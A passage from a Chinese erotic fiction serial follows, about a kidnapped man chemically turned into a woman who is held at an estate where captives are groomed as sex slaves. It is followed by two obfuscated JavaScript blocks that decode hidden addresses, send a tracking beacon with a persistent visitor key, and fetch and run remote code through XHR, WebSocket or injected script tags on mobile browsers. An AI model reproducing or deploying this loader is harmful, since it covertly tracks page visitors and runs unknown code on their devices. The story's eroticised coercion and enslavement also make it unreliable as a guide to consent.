此时尤兰也站起身来,她比我高很多,与她硬碰硬我占不了什么便宜。尤兰一把抓住我的衣服,狠狠地说道:“恶魔,他们都是恶魔!”说了两句,她又放下我的衣服,心平气和的对我说:“你知道吗,当时我才4 岁,我哥哥也才6 岁,

要不是我们躲在草丛里面,我们恐怕也活不到今天!”

“可是你们尤兀族为什么会被灭族?”

“当时欧阳松想要的,是尤兀一族两千年来对于性学的研究成果,这种东西对于生意人而言是很值钱的!我们的族长不肯,而且她也无法接受李尤芸的背叛,所以他一把火烧掉了所有的资料;然后欧阳松就恼羞成怒,下令屠村!”

“如果你说的一切都是真的,那我岂不是有一个同母异父的姐姐吗?”

尤兰听到这里哈哈大笑:“你以为你那个苦命的姐姐还在世吗?李尤芸那个女人从来都没有真心待过尤兀族的任何人,包括她的丈夫和女儿,她以前表现出来的良好作风只是在演戏而已,为的是让尤兀族人信任她并让她出去!

我说过,她诱奸我们的族长,这并不是空穴来风,而是在灭族那一刻我亲耳听见族长说出来的!那一天晚上,是李尤芸勾引我们的族长,她为的是成为族长夫人……”

“说了这么多,那个女孩究竟怎么样了?”

这时尤兰有点激动:“你难道还在幻想吗?告诉你吧——我亲眼看见她,我亲眼看见李尤芸,把她十月怀胎所生下来的女儿给掐死了……当时我吓得连哭都没有哭出来……那个苦命的孩子,到最后还在用力的叫着‘妈妈’!好狠毒的女人,她简直连禽兽都不如!”

这时的我没有说话,也没有恼怒,因为我知道就算拼命也起不了任何的作用。

尤兰继续说道:“相信李尤芸喝女人汤变成女人,也是为了获取族人的信任,我想她可能想以后随时可以拿到男人汤变回来的——可惜呀,大火烧掉了所有的东西,包括所有的男人汤和女人汤,那个女人在无可奈何之际还是选择了嫁人,成为了你的母亲!”

“你怎么说我也无所谓了,但我要告诉你,欧阳家族对媳妇的要求是很严格的!你所说的那样行为的女人是不符合我们家族的要求的!”

“有什么严不严格的?据我所知,欧阳氏选择媳妇,是从自己的家臣中间选择的,而李尤芸的家族,正是欧阳世家世代的家臣;只要给了她一个名分,容貌出众的李尤芸自然而然会成为欧阳家族媳妇的最佳人选,根本没有人会计较她的过去,加上你们欧阳一族干的都是些见不得人的勾当……”

“是什么都无所谓了,你说那个女人是我的母亲那就算是我的母亲吧!现在的我对于我的家世背景不感兴趣,我所感兴趣的是你们究竟想要把我怎么样?”

“你终于开口这样问了,看来你听完了我给你讲的故事以后对自己的未来很不抱有希望了;在这点上你大可放心,我们从来都没有想过要杀掉你来为尤兀一族报仇,毕竟那都是你的父母所干的事情!”

“确实如此,那时候我还没有出生,而我的母亲在我10岁的时候去世了,我的父亲也在两年前去世了,现在的欧阳财团是我在掌权……”

“虽然一切与你无关,可是父债子偿这句话也不是完全没有道理……”

“那你们究竟想要对我做什么?”

“我们既不会杀你,也不会放你,我们只是想要你体验我们尤兀一族的文明!”

“如果说改变性别,这一点我已经体会到了!”

“不不不,那只是尤兀族文明的冰山一角,尤兀一族真正的智慧,在于两千年来坚持不断研究着的性学,这种科学包括两个内容,一个是性爱,另一种就是性虐待——你就等着好好享受吧!”

我对从这个女人口中得知的我的未来感到迷茫。

8.小芳小元

我被捉到这个陌生的地方来不知不觉已经三个月了,在这三个月以来发生了很多的事情,其中最为重要的是我被人用一种奇怪的药从男人变成了女人。我还知道了这里主人的真正身份还有一个奇特民族的鲜为人知的历史。

一天,从门外进来几个侍者,说要给我换个新的房间,并告知我从今以后我可以在山庄里面自由地活动。

我并没有太高兴,他们既然有胆量让我自由地活动,那他们也一定有充分的把握保证我不会逃出去;但是有一点是值得高兴的,那就是今后我的活动空间变大了。

几个侍者领我来到我的新房间,这是一间超过200 平米的大卧室,非常的宽敞和明亮,家具的摆设是那种非常舒服的贵族样式,里面的东西是应有尽有,但我想该没有的东西还是不会有的。

领我来的侍者指着房间里连着的门一一为我介绍,这是厕所,这是浴室,这是厨房……这哪里是一间房间,这简直就是一套完整的房子,没想到他们为身为俘虏的我准备了这样房间。

侍者指着房间的一角的两扇门说道:“那里的两间卧室,是为你的贴身侍女准备的!”

我没有想到他们居然还找人来侍侯我!但是我又立刻醒过神来,这哪里是侍侯我,分明是找人监视我!

这时,几个侍者都退下去了,从门口进来了两个穿着女佣服侍的女人,我记得她们两个,她们是那天曾经被我上过的漂亮女人,是我用男性的身体最后一次做爱的对象。

她们两个双双跪在我的面前,齐声说道:“小芳小元给小姐请安!”

这又是什么年代的规矩,我有些茫然。她们两个的名字虽然接近,但看得出来她们并不是亲姐妹,我努力着搞清楚了她们谁是谁。

我问道:“为什么你们要下跪?”

小芳答道:“这是这座山庄的规矩!”

“那么,这座山庄叫什么名字?”

小元回答:“这里叫做尤兀山庄,是尤兀族的后人建造的。”

“这么说,你们也是尤兀族的后人了?你们是奉命来监视我的吗?”

小芳连忙摆手:“不不不,我们姐妹俩不是尤兀族人,我们真的是来照顾您的,这与您被囚禁在这里的现实是没有关系的!”

“既然如此,那给我一个相信你们的理由!”

此时小元脸上露出一种复杂的表情:“那么,小姐可知道我们姐妹俩以前是和您一样的?”

“一样的?什么意思?”我有点听不太明白。

这时,小芳作出了一个惊人的动作——脱光了身上的衣服,连内衣也脱掉了,一丝不挂,小元赶忙过去关上了门。

小芳指了指自己的胸部,然后又指了指自己的阴部:“这个,还有这个,原先都是不存在的!”

我恍然大悟:“也就是说,你们以前也是男人,是因为那种药才使你们变成了现在的女人模样!”

小元过来帮小芳穿上了衣服:“我们以前并不认识,但是我们俩是在同一时间被改变的,所以我们成了最好的姐妹!”

“那么,你们又是出于什么原因被改变的?”

小芳说道:“这个,连我们自己都不知道,只知道自己被煳里煳涂带到这里,又煳里煳涂地变成了女人!”说着,小芳的眼角湿润了。

小元接着说道:“我们在这里已经呆了3 年了,3 年中,我们被迫做了许多我们不愿意做的事情,到了现在,我们已经变得顺从,变得麻木。”

小芳说:“我们刚变成女人的时候也曾经坚持过,但是她们所用的手段实在是让人无法忍受,所以我们才迷失了自我,连女人的那种矜持都已经失去!”

小元说:“在这里,我们不得不听话,他们每天想尽办法来蹂躏我们,我们经常赤身裸体,所以现在我们脱衣服的时间比走路的时间都多……”

听到这里,我有些同情她们了,不过我对她们还是没有办法百分之百地信任。

小芳说道:“今天我们来到这里给您当女佣人是我们接到的新的任务,但是当我们姐妹知道您的身世背景的时候我们觉得我们有希望了!”

小元说:“现在,我们想要逃出山庄的这个梦想就完全指望小姐来帮我们实现了!”

我并不在乎她们是否是在试探我:“是呀!不管你们是不是派来监视我的,我还是要告诉你们——当我从这个山庄出去的时候,就是这个山庄的末日!”

小芳小元相互望了一眼,流露出十分感动的神情。

小芳又说道:“但是,小姐您要小心,我听说这座山庄的主人们下一个重点对付的目标,就是您!”

小元跟着说道:“他们有各种各样的手段,总之您如果不服从的话,会很难受的!”

“我不怕!就算死我也不怕!”

说着,我伸出手掌来与她们姐妹俩击掌为誓,齐声说道:“战斗开始!”

此时我们已经是朋友了,不关她们的真正目的为何,现在我们是同一条战线上的伙伴!

…………

“那么,小姐变成女人之后可曾改过名字?”小芳突然问道。

我一脸默然:“是呀,既然已经不是以前的我,那‘欧阳梓’这个名字自然是不能再用了,我也不想辱没了我们家族的名声!”

“那么,让我们一起来为小姐想一个最最好听的名字吧!”小元像个小孩似的,从外表我看不出她究竟多大。

我摆摆手,说道:“罢了罢了,没有必要费神想名字的。我以前单名一个‘梓’字,那我就取一个同音字好了;你们就叫我‘阿紫’好了,紫色的紫!”

小芳赞叹道:“这个名字很好听呀!那我们以后就叫您‘阿紫小姐’了!”

在此刻,我有了自己新的名字——阿紫。

我又向小芳小元咨询:“你们比我使用那种药的时间早,那你们一定知道在使用了那种药之后会发生什么,告诉我吧!”

小芳说道:“其实在使用了这种药之后该发生的变化都已经在小姐身上发生了,小姐使用这种药也已经过了两个多月了!”

小元又说:“但是有个地方会在两个月之后依然发生改变!”

“哪个地方?”我连忙问道。

小元顽皮地用手指指着我的乳房,说道:“这里!”

9.身体完全档案

自从小芳和小元来到我的身边以后,我的生活不再寂寞,我们三个人每天有说有笑;我们是最好的朋友,而不是所谓的主仆的关系。

我们喜欢在一起聊天,从天上说到地上,从过去说到未来,无话不谈;她们告诉我如何坦然的应付女人的身体,如何发掘女性身体里面的小秘密,甚至还谈到了性!

我告诉她们我总有一天会变回去的,她们就告诉我如果我变回男人她们愿意陪在我身边做我的玩具。

小芳擅长于打扫房间和洗涤衣物,而小元则擅长于烹饪美食和针织女工;她们完全把我当公主一样的照顾,在这里我根本不用参加劳动。

我依旧固执地穿着男装,也没有戴胸罩,不过我现在倒是十分地爱干净,每天都在洗澡;我的长头发自然地披肩,每当我触摸自己头发的时候我都意识到这样的状态不会长远。

时间一天天过去,直到有一天我发现我的上衣再一次穿不住了!我猛然地想起小元对我说过的话,虽然我曾经只当那是一种善意的玩笑。

我的乳房仍然在生长,这种生长并没有像才注射药剂的那几天迅速,以至于我完全没有发觉;但是现在当我突然意识到这是一个不可回避的问题的时候,我的乳房已经破壳而出了!

“呀呀呀!”小芳惊奇地叫道,“我没有想到小姐您的胸部会长得这么大呢!

而且这还是自然长出来的,简直就让人不敢相信!”

小元又为我准备了一件大一点的上衣。

我无奈地说道:“这要如何是好呢?要是这个东西再这样漫无目的地生长下去的话……”

小元安慰我道:“放心吧!不会那样子的!总有一天会停下来的!您不该难过反而应该高兴一点呀!”

小芳说道:“我们都很羡慕小姐您有如此丰满的胸部的!现在很多的女人正在想尽办法想让乳房变得大一点点,而您却是天生的如此丰满的身材!”

小元又说道:“当我服下那药后变成女人时,唯一值得骄傲的就是当时我的胸围自然地达到了D 罩杯,这是很多女人所梦寐以求的尺寸;可惜现在我看见小姐您的胸围远远超过了我的,我觉得自己的胸部好像是小孩子的似的……”

我被小芳小元你一句我一句的逗乐了,也暂时忘记了自己所面临的问题。

从那天开始,我就不再去担心自己胸部的问题,让它自己去长好了,只要是自己天生的,那就没有什么问题了。衣服穿不住了,换一件新的就好了。

乳房的发育静静的,就像是人在长身高的时候一样无声无息,我知道但是却不刻意去注意它;我总是在想,人的胸围的自然生长的极限到底是多少呢?

这一天晚上睡觉的时候,我突然感到胸前的两团肉像是火在烧一样的发烫,里面脂肪的复杂运动让我整晚上无法入睡,一直到了临近早上的时候我才勉强睡着。

没有睡多久,我突然听见一声尖叫,这声尖叫把我从睡梦中惊醒。

我迷迷煳煳坐起身来,揉揉眼睛,才发现小芳两脚发软地坐在地上,原来刚才的尖叫声是她发出的。

这时,我注意到她两眼直盯着我看,右手的食指指着我胸前的位置。

我猛地低下头,眼前所见连我自己都吓呆了——我的乳房相比昨天的时候又足足大了一圈,这已经是无法用语言来形容的巨乳了,如果再大一圈的话就要赶上保龄球了。

小元此时也刚起床,看见我的胸部之后喃喃的只说了两句话:“对不起,我还以为自己已经睡醒了!”

小芳愤愤地走上前去敲了她的头两下,问道:“疼吗?”

小元这才清醒过来,连忙和小芳到房间里面拿来了软尺为我测量。

…………

100 I !

…………

100 I !

所有的人,我,小芳,小元,都大眼瞪小眼地说不出话来。100 I ,这究竟

是个什么概念呢?我哪里知道呀!一个女人的胸围上了三位数,我哪里知道是什么概念呀!

此时在小芳和小元的眼睛里流露出一种羡慕的眼神,是相当羡慕的那种;她们甚至开始不懂规矩了,用手在我的乳房上摸来摸去,仿佛在念叨:“假的,一定是假的!”

我的乳房被她俩的手弄得是又疼又痒,连忙叫她们住手,她们停下手后赶忙道歉,声称自己都是情不自禁;相比天真的她们,我此刻的心情要复杂得多,乳房现在已经像一个球一样了,再长下去的话我会变成怪物的!

过了一会儿,我们三人都平静了下来。

我把昨天晚上的感觉一五一十的说了出来,并叹了一口气:“再这样下去怎么得了?”

小芳说道:“小姐不要担心呀,如果是那样说不定是好事呀!”

此时小元连忙插嘴道:“是呀是呀,如果觉得乳房太大分一点给我也行呀!”

小芳知道我现在心情不好,赶快捂住了小元的嘴,对我说:“如果昨天晚上真的有如此强烈的感觉的话,那就有可能是一种信号,就是说小姐您的胸部已经发育完全了,以后不会再有改变了!”

我没有说话,心中想着:“但愿如此吧!”

从那天开始我时时刻刻都在留意乳房的变化,哪怕睡觉的时候也不例外;每天吃完饭后,我所做的第一件事情就是用软尺测量我的胸围,看看它有没有再变大,这样的日子一直持续了一段时间。

让我欣慰的是,自从那晚乳房疯狂地生长之后,我的胸围没有再变大了!

这也就意味着我的女性身体已经完全形成!

又过了几天,来了几位专家为我测量身体,他们在为我测量胸围的时也直盯着着我的胸部看,好像是不相信他们眼前所见到的事实。

没过多久,我的身体档案出来了:姓名:阿紫身高:159 公分体重:45公斤

三围:100 -56-90胸围:I 罩杯专家评语:魔鬼身材,天生尤物!

10. 以女人的名义

从下意识来讲,我并不抵制我这个近乎完美的女人身体!

但是,我却始终对于尤兀一族的人有种说不出来的讨厌的情绪。

小芳提醒我道:“小姐,您要小心一点呀!他们已经为您测量过身体了,看来他们马上要对您下手了!”

“下手了?那究竟是怎么一回事?”我疑惑不解。

小芳没有回答我,我又去问小元,小元也不肯跟我讲。

没过两天,尤兰那个女人又出现在我的面前。

“你来干什么?”我显出一种不屑一顾的神情。

与我的态度形成鲜明对比的是,小芳和小元立刻对尤兰下跪请安,她们的这种行为让我觉得十分吃惊。

尤兰的脸上立刻露出了自满的神情,她轻轻地抚摸着小芳小元的面颊,然后对我说道:“这才是听话的奴隶!我真的希望你变得和她们一样的听话!”

小芳小元曾经悄悄地暗示过我,说山庄的主人们要让我成为山庄的另一个性奴隶,但是我却始终无法忍受这里的人打算把我当玩具一样摆弄的计划!我下定决心,要与这里的人们对抗到底!

“我和很多人都不一样的!”我说这句话,是为了向面前的女人宣布我的立场。

这时小芳和小元已经站了起来,回到我的身后站着。

尤兰轻轻地摆了摆手,细声地说道:“小姐好像忘记了什么——这里可是我们的地方,对你的待遇再好你也不过是我们的俘虏而已!希望你不要违背我们的意愿才是!”

“我不会当你们的性奴隶的!”我决决地说道。

尤兰显出有些吃惊的样子:“看来你知道了不少了!你与我派给你的女佣们交往得不错嘛!她们已经什么都告诉你了吧!”

本来我不愿意相信小芳和小元透露给我的讯息,但是现在我也明确地知道了山庄的掌权者们的想法,我有点不知所措,因为那样的事情是多么地令人难堪!

这时尤兰坐了下来,慢慢地说道:“放心吧!你要当性奴隶的话还早得很呀!

你现在才刚刚完成从男人到女人的转变,但这只是形体上的,接下来还有很多事情要做的,毕竟路要一步一步走才对。”

听到这句话,我稍微的松了一口气,但是我内心深处的那股身不由己的愤怒已经悄然而出。

尤兰没有察觉到我的表情,继续说道:“那么,从明天开始,我希望你要配合!”

我下意识地说道:“我什么也不会做的!”

一丝笑意从尤兰的嘴角滑过:“放心吧!只是做些理疗而已,你不用担心!

至于其他的事情,我们暂时不会考虑的!”

“你以为我会相信你说的话吗?”

尤兰用舌头轻轻地舔了一下大拇指,说道:“以我现在的立场是不会对你撒谎的,因为我所要对你做的事情你是没有拒绝的权利的!”

我没有说话。

“现在的我最想要看到的是一个完美的女人——那就是你了!我希望某些东西能够在你身上得到体现——以女人的名义!”

尤兰离开了,当天晚上我久久没有入睡,一个人躺在床上思考问题。

这时,一个人走近了我的床沿。

我定神一看,原来是小元。

“你……”

还没有来得及我开口,小元用手捂住我的嘴:“嘘……”小元脸上的神情十分认真,说实话,我从来没有看见过她如此认真的神情。

“不要开灯,小声说话!”小元说道。

我疑惑不解地问道:“究竟是什么事情,要你这样神秘?连小芳也不让知道吗?”

“这不是什么了不得的大事情,其实这事情也是我和小芳商量过的,我只是一个人来告诉小姐您,毕竟这里是别人的地盘,到处都有眼睛!”

“那么,你就说吧!”

“小姐可否答应我们一件事情?”

“什么事情?”

“对于山庄对于您所做的,不管是什么,请您配合他们好吗?”

我万万想不到这样的话会从小元的嘴里说出来,这句话使我甚至怀疑到了她对我的忠诚度:“你这是什么意思?难道你也是他们的人吗?”

“小姐您误会了!我之所以这样说,完全是出自对小姐的关心;与山庄的人周旋,这并不是不可能,但是要是说到是否与山庄配合,这就已经不是我们愿不愿意所


上一篇:互联网 人妻出租(滴滴顺风妻)

下一篇:被盯上的巨乳女孩,小瑄(01-07)


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};